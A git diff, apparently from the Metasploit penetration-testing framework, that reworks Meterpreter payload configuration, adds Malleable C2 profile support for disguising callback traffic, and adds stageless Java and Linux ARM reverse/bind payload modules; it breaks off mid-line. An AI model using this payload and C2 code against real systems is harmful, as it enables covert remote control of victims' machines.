http_header_referer = opts[:header_referer] || ds['HttpReferer'] - - # The callback URL can be different to the one that we're receiving from the interface - # so we need to generate it - # TODO: move this to somewhere more common so that it can be used across payload types + # Build the URI from the callback URL if present unless opts[:url].to_s == '' - - # Build the callback URL (TODO: share this logic with TransportConfig - uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}" opts[:scheme] ||= opts[:url].to_s.split(':')[0] - scheme, lhost, lport = transport_uri_components(opts) - callback_url = "#{scheme}://#{lhost}:#{lport}#{luri}#{uri}/" - - # patch in the various payload related configuration - met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(callback_url)}'") - met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != '' - met.sub!('HTTP_COOKIE = None', "HTTP_COOKIE = '#{var_escape.call(http_header_cookie)}'") if http_header_cookie.to_s != '' - met.sub!('HTTP_HOST = None', "HTTP_HOST = '#{var_escape.call(http_header_host)}'") if http_header_host.to_s != '' - met.sub!('HTTP_REFERER = None', "HTTP_REFERER = '#{var_escape.call(http_header_referer)}'") if http_header_referer.to_s != '' - - if http_proxy_host.to_s != '' - http_proxy_url = "http://" - unless http_proxy_user.to_s == '' && http_proxy_pass.to_s == '' - http_proxy_url << "#{Rex::Text.uri_encode(http_proxy_user)}:#{Rex::Text.uri_encode(http_proxy_pass)}@" - end - http_proxy_url << (Rex::Socket.is_ipv6?(http_proxy_host) ? "[#{http_proxy_host}]" : http_proxy_host) - http_proxy_url << ":#{http_proxy_port}" - - met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(http_proxy_url)}'") - end + uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}" + opts[:uri] = "#{luri}#{uri}" end + # Generate the TLV config block containing all transport configuration + config_block = Rex::Text.encode_base64(generate_config(opts)) + met.sub!("CONFIG_BLOCK = ''", "CONFIG_BLOCK = '#{config_block}'") + # patch in any optional stageless tcp socket setup unless opts[:stageless_tcp_socket_setup].nil? offset_string = "" diff --git a/lib/msf/core/payload/windows/meterpreter_loader.rb b/lib/msf/core/payload/windows/meterpreter_loader.rb index 89f4e011ec4b7..247129b1f2ef8 100644 --- a/lib/msf/core/payload/windows/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/meterpreter_loader.rb @@ -81,13 +81,15 @@ def generate_config(opts={}) uuid: opts[:uuid], transports: opts[:transport_config] || [transport_config(opts)], extensions: [], + ext_format: 'x86.dll', stageless: opts[:stageless] == true, }.merge(meterpreter_logging_config(opts)) # create the configuration instance based off the parameters config = Rex::Payloads::Meterpreter::Config.new(config_opts) - # return the binary version of it - config.to_b + # return the binary version of it, prefixed with an 8-byte comms handle + # that the stager patches with the active socket/handle + "\x00" * 8 + config.to_b end def stage_meterpreter(opts={}) diff --git a/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb b/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb index d4cc5c4bbaa19..f6c2e2a22242d 100644 --- a/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb +++ b/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb @@ -84,14 +84,16 @@ def generate_config(opts={}) uuid: opts[:uuid], transports: opts[:transport_config] || [transport_config(opts)], extensions: [], + ext_format: 'x64.dll', stageless: opts[:stageless] == true, }.merge(meterpreter_logging_config(opts)) # create the configuration instance based off the parameters config = Rex::Payloads::Meterpreter::Config.new(config_opts) - # return the binary version of it - config.to_b + # return the binary version of it, prefixed with an 8-byte comms handle + # that the stager patches with the active socket/handle + "\x00" * 8 + config.to_b end def stage_meterpreter(opts={}) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 97f55f7dd0ef7..582258aef7bab 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -3,12 +3,14 @@ require 'rex/post/meterpreter/extension_mapper' require 'rex/post/meterpreter/packet' require 'msf/core/payload/malleable_c2' +require 'rex/payloads/meterpreter/uri_checksum' require 'securerandom' class Rex::Payloads::Meterpreter::Config include Msf::Payload::UUID::Options include Msf::ReflectiveDLLLoader + include Rex::Payloads::Meterpreter::UriChecksum MET = Rex::Post::Meterpreter @@ -59,7 +61,7 @@ def add_session_tlv(tlv, opts) session_guid = [SecureRandom.uuid.gsub('-', '')].pack('H*') end - tlv.add_tlv(MET::TLV_TYPE_EXITFUNC, exit_func) + tlv.add_tlv(MET::TLV_TYPE_EXITFUNC, exit_func) if exit_func tlv.add_tlv(MET::TLV_TYPE_SESSION_EXPIRY, opts[:expiration]) tlv.add_tlv(MET::TLV_TYPE_UUID, uuid) tlv.add_tlv(MET::TLV_TYPE_SESSION_GUID, session_guid) @@ -67,11 +69,13 @@ def add_session_tlv(tlv, opts) if opts[:debug_build] && opts[:log_path] tlv.add_tlv(MET::TLV_TYPE_DEBUG_LOG, opts[:log_path]) end + + if opts[:flags] && opts[:flags] != 0 + tlv.add_tlv(MET::TLV_TYPE_SESSION_FLAGS, opts[:flags]) + end end def add_c2_tlv(tlv, opts) - # Build the URL from the given parameters, and pad it out to the - # correct size lhost = opts[:lhost] if lhost && opts[:scheme].start_with?('http') && Rex::Socket.is_ipv6?(lhost) lhost = "[#{lhost}]" @@ -83,36 +87,45 @@ def add_c2_tlv(tlv, opts) c2_tlv = profile.to_tlv else c2_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2) + end - c2_tlv.add_tlv(MET::TLV_TYPE_C2_UA, opts[:ua]) unless (opts[:ua] || '').empty? + # Fall back to the datastore UA when the profile didn't `set useragent` + # (or there's no profile at all). + unless (opts[:ua] || '').empty? || c2_tlv.tlvs.any? { |t| t.type == MET::TLV_TYPE_C2_UA } + c2_tlv.add_tlv(MET::TLV_TYPE_C2_UA, opts[:ua]) end c2_tlv.add_tlv(MET::TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total]) c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait]) - url = "#{opts[:scheme]}://#{Rex::Socket.to_authority(lhost, opts[:lport])}" - url << "/#{opts[:uri].delete_prefix('/').delete_suffix('/')}/" if opts[:uri] - url << "?#{opts[:scope_id]}" if opts[:scope_id] - - c2_tlv.add_tlv(MET::TLV_TYPE_C2_URL, url) - - # if the transport URI is for a HTTP payload we need to add a stack - # of other stuff that can only be set in MSF, not in the C2 profile - if url.start_with?('http') - proxy_url = '' - if opts[:proxy_host] && opts[:proxy_port] - prefix = 'http://' - prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks' - proxy_url = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}" + # Only build a C2 URL when we actually have a host. Staged payloads + # inherit the stager's socket and carry no host; guard so a nil lhost + # cannot reach Rex::Socket.to_authority (which requires a String). + if lhost && !lhost.to_s.empty? + url = "#{opts[:scheme]}://#{Rex::Socket.to_authority(lhost, opts[:lport])}" + url << "/#{opts[:uri].delete_prefix('/').delete_suffix('/')}/" if opts[:uri] + url << "?#{opts[:scope_id]}" if opts[:scope_id] + + c2_tlv.add_tlv(MET::TLV_TYPE_C2_URL, url) + + # if the transport URI is for a HTTP payload we need to add a stack + # of other stuff that can only be set in MSF, not in the C2 profile + if url.start_with?('http') + proxy_url = '' + if opts[:proxy_host] && opts[:proxy_port] + prefix = 'http://' + prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks' + proxy_url = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}" + end + + c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_URL, proxy_url) unless (proxy_url || '').empty? + c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_USER, opts[:proxy_user]) unless (opts[:proxy_user] || '').empty? + c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_PASS, opts[:proxy_pass]) unless (opts[:proxy_pass] || '').empty? + + c2_tlv.add_tlv(MET::TLV_TYPE_C2_CERT_HASH, opts[:ssl_cert_hash]) unless (opts[:ssl_cert_hash] || '').empty? + c2_tlv.add_tlv(MET::TLV_TYPE_C2_HEADERS, opts[:custom_headers]) unless (opts[:custom_headers] || '').empty? end - - c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_URL, proxy_url) unless (proxy_url || '').empty? - c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_USER, opts[:proxy_user]) unless (opts[:proxy_user] || '').empty? - c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_PASS, opts[:proxy_pass]) unless (opts[:proxy_pass] || '').empty? - - c2_tlv.add_tlv(MET::TLV_TYPE_C2_CERT_HASH, opts[:ssl_cert_hash]) unless (opts[:ssl_cert_hash] || '').empty? - c2_tlv.add_tlv(MET::TLV_TYPE_C2_HEADER, opts[:custom_headers]) unless (opts[:custom_headers] || '').empty? end tlv.tlvs << c2_tlv @@ -120,8 +133,26 @@ def add_c2_tlv(tlv, opts) def add_extension_tlv(tlv, ext_name, ext_init_path, file_extension, debug_build: false) ext_name = ext_name.strip.downcase - ext, _ = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{ext_name}", - file_extension, debug: debug_build)) + # Windows DLLs go through Reflective DLL Injection prep; mettle bins + # come per-platform from the mettle gem; jar/py/php ship as-is. + case file_extension.to_s + when /\.dll$/ + ext_path = MetasploitPayloads.meterpreter_path("ext_server_#{ext_name}", + file_extension, debug: debug_build) + ext, _ = load_rdi_dll(ext_path) + when 'bin' + begin + ext = MetasploitPayloads::Mettle.load_extension(@opts[:mettle_platform], ext_name, 'bin') + rescue MetasploitPayloads::Mettle::NotFoundError + # Mettle bakes some extensions (e.g. stdapi) directly into the + # binary, so there's no separate .bin to ship. Silently + # skip and let the runtime use whatever's already registered. + $stderr.puts("[!] EXTENSIONS=#{ext_name}: no separate '#{ext_name}.bin' for #{@opts[:mettle_platform]} (already built in?), skipping") + return + end + else + ext = MetasploitPayloads.read('meterpreter', "ext_server_#{ext_name}.#{file_extension}".downcase) + end ext_tlv = MET::GroupTlv.new(MET::TLV_TYPE_EXTENSION) ext_tlv.add_tlv(MET::TLV_TYPE_DATA, ext) @@ -144,10 +175,10 @@ def config_block add_c2_tlv(config_packet, t) end - # configure the extensions - this will have to change when posix comes - # into play. - file_extension = 'x86.dll' - file_extension = 'x64.dll' unless is_x86? + # Each runtime tells us which on-disk extension file matches the + # payload (e.g. 'x86.dll', 'x64.dll', 'py', 'php', 'jar'); skip the + # extension TLV emission when the caller didn't supply one. + file_extension = @opts[:ext_format] @opts[:extensions] = [] if @opts[:extensions].blank? prev_length = @opts[:extensions].length @@ -163,14 +194,12 @@ def config_block ext_inits = (@opts[:ext_init] || '').split(':').map{|v| v.split(',')}.to_h{|l| l} - (@opts[:extensions] || []).each do |e| - add_extension_tlv(config_packet, e, ext_inits[e], file_extension, debug_build: @opts[:debug_build]) + if file_extension + (@opts[:extensions] || []).each do |e| + add_extension_tlv(config_packet, e, ext_inits[e], file_extension, debug_build: @opts[:debug_build]) + end end - # comms handle needs to have space added, as this is where things are patched by the stager - comms_handle = "\x00" * 8 - config_bytes = config_packet.to_r - - comms_handle + config_bytes + config_packet.to_r end end diff --git a/lib/rex/payloads/meterpreter/uri_checksum.rb b/lib/rex/payloads/meterpreter/uri_checksum.rb index a56c629c9092e..f20d47797d4c3 100644 --- a/lib/rex/payloads/meterpreter/uri_checksum.rb +++ b/lib/rex/payloads/meterpreter/uri_checksum.rb @@ -13,6 +13,7 @@ module UriChecksum URI_CHECKSUM_INITN = 92 # Native (same as Windows) URI_CHECKSUM_INITP = 80 # Python URI_CHECKSUM_INITJ = 88 # Java + URI_CHECKSUM_INITPH = 84 # PHP URI_CHECKSUM_CONN = 98 # Existing session URI_CHECKSUM_INIT_CONN = 95 # New stageless session @@ -21,6 +22,7 @@ module UriChecksum URI_CHECKSUM_INITN, :init_native, URI_CHECKSUM_INITP, :init_python, URI_CHECKSUM_INITJ, :init_java, + URI_CHECKSUM_INITPH, :init_php, URI_CHECKSUM_INIT_CONN, :init_connect, URI_CHECKSUM_CONN, :connect ] diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index ca75f44766aec..0f325776fcbb8 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -10,6 +10,9 @@ # certificate hash checking require 'rex/socket/x509_certificate' +# parsing of Malleable C2 profiles for transport_add / transport_change +require 'msf/core/payload/malleable_c2' + require 'openssl' module Rex @@ -148,8 +151,9 @@ def transport_list response.each(TLV_TYPE_C2) { |t| # TODO: Consider adding more information to the output for malleable profiles? - # TLV_TYPE_C2_GET, TLV_TYPE_C2_POST, TLV_TYPE_C2_PREFIX, TLV_TYPE_C2_SUFFIX, TLV_TYPE_C2_ENC, - # TLV_TYPE_C2_SKIP_COUNT, TLV_TYPE_C2_UUID_COOKIE, TLV_TYPE_C2_UUID_GET, TLV_TYPE_C2_UUID_HEADER + # TLV_TYPE_C2_GET, TLV_TYPE_C2_POST, TLV_TYPE_C2_PREFIX, TLV_TYPE_C2_SUFFIX, TLV_TYPE_C2_ENC_INBOUND, TLV_TYPE_C2_ENC_OUTBOUND, + # TLV_TYPE_C2_PREFIX_SKIP, TLV_TYPE_C2_SUFFIX_SKIP, + # TLV_TYPE_C2_UUID_COOKIE, TLV_TYPE_C2_UUID_GET, TLV_TYPE_C2_UUID_HEADER # Not sure if this stuff is useful for this display though. result[:transports] << { :url => t.get_tlv_value(TLV_TYPE_C2_URL), @@ -904,7 +908,17 @@ def transport_prepare_request(command_id, opts={}) end end - c2_tlv = GroupTlv.new(TLV_TYPE_C2) + # When a Malleable C2 profile is supplied, start from its TLV (which carries + # UA + GET/POST sub-groups) and layer the rest on top; otherwise build a + # bare C2 group. + if (opts[:c2_profile] || '').empty? + c2_tlv = GroupTlv.new(TLV_TYPE_C2) + has_profile = false + else + profile = Msf::Payload::MalleableC2::Parser.new.parse(opts[:c2_profile]) + c2_tlv = profile.to_tlv + has_profile = true + end if opts[:comm_timeout] c2_tlv.add_tlv(TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) @@ -929,8 +943,11 @@ def transport_prepare_request(command_id, opts={}) url << generate_uri_uuid(sum, opts[:uuid]) + '/' end - opts[:ua] ||= Rex::UserAgent.random - c2_tlv.add_tlv(TLV_TYPE_C2_UA, opts[:ua]) + # When a profile is supplied it controls the UA; otherwise add a default. + unless has_profile + opts[:ua] ||= Rex::UserAgent.random + c2_tlv.add_tlv(TLV_TYPE_C2_UA, opts[:ua]) + end if transport == 'reverse_https' && opts[:cert] # currently only https transport offers ssl hash = Rex::Socket::X509Certificate.get_cert_file_hash(opts[:cert]) diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 4b46d446ecb53..54dd1613a8eb8 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -131,13 +131,18 @@ module Meterpreter TLV_TYPE_C2_CERT_HASH = TLV_META_TYPE_RAW | 717 # Expected SSL certificate hash TLV_TYPE_C2_PREFIX = TLV_META_TYPE_RAW | 718 # Data to prepend to the outgoing payload TLV_TYPE_C2_SUFFIX = TLV_META_TYPE_RAW | 719 # Data to append to the outgoing payload -TLV_TYPE_C2_ENC = TLV_META_TYPE_UINT | 720 # Request encoding flags (Base64|URL|Base64url) +TLV_TYPE_C2_ENC_INBOUND = TLV_META_TYPE_UINT | 720 # Server-inbound (client->server) body/metadata encoding TLV_TYPE_C2_PREFIX_SKIP = TLV_META_TYPE_UINT | 721 # Size of prefix to skip (in bytes) TLV_TYPE_C2_SUFFIX_SKIP = TLV_META_TYPE_UINT | 722 # Size of suffix to skip (in bytes) TLV_TYPE_C2_UUID_COOKIE = TLV_META_TYPE_STRING | 723 # Name of the cookie to put the UUID in TLV_TYPE_C2_UUID_GET = TLV_META_TYPE_STRING | 724 # Name of the GET parameter to put the UUID in TLV_TYPE_C2_UUID_HEADER = TLV_META_TYPE_STRING | 725 # Name of the header to put the UUID in TLV_TYPE_C2_UUID = TLV_META_TYPE_STRING | 726 # string representation of the UUID for C2s +TLV_TYPE_SESSION_FLAGS = TLV_META_TYPE_UINT | 727 # session-level config flags (e.g. FLAG_STAGELESS, FLAG_DEBUG) +TLV_TYPE_C2_ENC_OUTBOUND = TLV_META_TYPE_UINT | 728 # Client->server (request) body encoding (POST only) +TLV_TYPE_C2_ENC_UUID = TLV_META_TYPE_UINT | 729 # Encoding applied to the UUID before placement (URL/header/cookie) +TLV_TYPE_C2_UUID_PREFIX = TLV_META_TYPE_STRING | 730 # String to prepend to the encoded UUID +TLV_TYPE_C2_UUID_SUFFIX = TLV_META_TYPE_STRING | 731 # String to append to the encoded UUID # # C2 Encoding flags diff --git a/lib/rex/proto/http/server.rb b/lib/rex/proto/http/server.rb index 551738884e0cd..bc4d71fa30476 100644 --- a/lib/rex/proto/http/server.rb +++ b/lib/rex/proto/http/server.rb @@ -292,7 +292,10 @@ def dispatch_request(cli, request) root = request.resource elsif resources[request.resource] p = resources[request.resource] - len = resource_id.length + # This branch is reached when resource_id is nil (e.g. fetch-payload + # adapters have no find_resource_id), so the matched resource is the + # request resource itself — not resource_id, which would nil-deref. + len = request.resource.length root = request.resource else # Search for the resource handler for the requested URL. This is pretty diff --git a/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb b/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb index e3e6cea0e5691..26df448d56dbd 100644 --- a/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb +++ b/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb @@ -27,7 +27,7 @@ def initialize(info = {}) This module has been tested on the STBN300 device. }, 'Author' => [ - 'OJ Reeves ' # Discovery and Metasploit module + 'OJ Reeves' # Discovery and Metasploit module ], 'References' => [ ['CVE', '2014-8684'], diff --git a/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb b/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb index d5aedddd75508..76c22cb5ec8f9 100644 --- a/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb +++ b/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb @@ -84,9 +84,9 @@ def initialize(info = {}) pool base in kernel memory and set it as the GROOMBASE option. }, 'Author' => [ - 'Sean Dillon ', # @zerosum0x0 - Original exploit + 'Sean Dillon ', # @zerosum0x0 - Original exploit 'Ryan Hanson', # @ryHanson - Original exploit - 'OJ Reeves ', # @TheColonial - Metasploit module + 'OJ Reeves', # @TheColonial - Metasploit module 'Brent Cook ', # @busterbcook - Assembly whisperer ], 'License' => MSF_LICENSE, diff --git a/modules/payloads/singles/java/meterpreter_bind_tcp.rb b/modules/payloads/singles/java/meterpreter_bind_tcp.rb new file mode 100644 index 0000000000000..2fc72decbcb90 --- /dev/null +++ b/modules/payloads/singles/java/meterpreter_bind_tcp.rb @@ -0,0 +1,36 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Single + include Msf::Payload::Java::BindTcp + include Msf::Payload::Java::MeterpreterLoader + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Java Meterpreter, Bind TCP Stageless', + 'Description' => 'Run a meterpreter server in Java. Bind TCP. Self-contained jar.', + 'Author' => ['mihi', 'egypt', 'OJ Reeves'], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Handler' => Msf::Handler::BindTcp, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Java_Java + ) + ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) + end + + def generate_jar(opts = {}) + super(opts.merge(stageless: true, extensions: (datastore['EXTENSIONS'] || '').split(','))) + end +end diff --git a/modules/payloads/singles/java/meterpreter_reverse_http.rb b/modules/payloads/singles/java/meterpreter_reverse_http.rb new file mode 100644 index 0000000000000..547088a445554 --- /dev/null +++ b/modules/payloads/singles/java/meterpreter_reverse_http.rb @@ -0,0 +1,37 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Single + include Msf::Payload::Java::ReverseHttp + include Msf::Payload::Java::MeterpreterLoader + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Java Meterpreter, Reverse HTTP Stageless', + 'Description' => 'Run a meterpreter server in Java. Reverse HTTP. Self-contained jar.', + 'Author' => ['mihi', 'egypt', 'OJ Reeves'], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Handler' => Msf::Handler::ReverseHttp, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Java_Java + ) + ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) + end + + def generate_jar(opts = {}) + super(opts.merge(stageless: true, c2_profile: datastore['MALLEABLEC2'], extensions: (datastore['EXTENSIONS'] || '').split(','))) + end +end diff --git a/modules/payloads/singles/java/meterpreter_reverse_https.rb b/modules/payloads/singles/java/meterpreter_reverse_https.rb new file mode 100644 index 0000000000000..a61d00294c29c --- /dev/null +++ b/modules/payloads/singles/java/meterpreter_reverse_https.rb @@ -0,0 +1,37 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Single + include Msf::Payload::Java::ReverseHttps + include Msf::Payload::Java::MeterpreterLoader + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Java Meterpreter, Reverse HTTPS Stageless', + 'Description' => 'Run a meterpreter server in Java. Reverse HTTPS. Self-contained jar.', + 'Author' => ['mihi', 'egypt', 'OJ Reeves'], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Handler' => Msf::Handler::ReverseHttps, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Java_Java + ) + ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) + end + + def generate_jar(opts = {}) + super(opts.merge(stageless: true, c2_profile: datastore['MALLEABLEC2'], extensions: (datastore['EXTENSIONS'] || '').split(','))) + end +end diff --git a/modules/payloads/singles/java/meterpreter_reverse_tcp.rb b/modules/payloads/singles/java/meterpreter_reverse_tcp.rb new file mode 100644 index 0000000000000..4043ef575c5c3 --- /dev/null +++ b/modules/payloads/singles/java/meterpreter_reverse_tcp.rb @@ -0,0 +1,36 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Single + include Msf::Payload::Java::ReverseTcp + include Msf::Payload::Java::MeterpreterLoader + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Java Meterpreter, Reverse TCP Stageless', + 'Description' => 'Run a meterpreter server in Java. Reverse TCP. Self-contained jar.', + 'Author' => ['mihi', 'egypt', 'OJ Reeves'], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Handler' => Msf::Handler::ReverseTcp, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Java_Java + ) + ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) + end + + def generate_jar(opts = {}) + super(opts.merge(stageless: true, extensions: (datastore['EXTENSIONS'] || '').split(','))) + end +end diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb index 515500ccad049..74fd1e8651d6f 100644 --- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_aarch64_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'aarch64-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb index 525aae5649b31..726171f530137 100644 --- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_aarch64_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'aarch64-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb index 0489aa0e91f7e..fe191ee250614 100644 --- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_aarch64_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'aarch64-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb index d68a441ca8d2e..107452889b64f 100644 --- a/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb @@ -31,11 +31,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_armbe_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'armv5b-linux-musleabi', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb index d62efaa7c8d90..f005e433536ad 100644 --- a/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb @@ -31,11 +31,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_armbe_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'armv5b-linux-musleabi', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb index 3c5b64a2c1197..294213a0295a9 100644 --- a/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb @@ -31,11 +31,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_armbe_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'armv5b-linux-musleabi', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb index 2f07f0263344b..efa6d82ded55a 100644 --- a/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb @@ -32,11 +32,19 @@ def 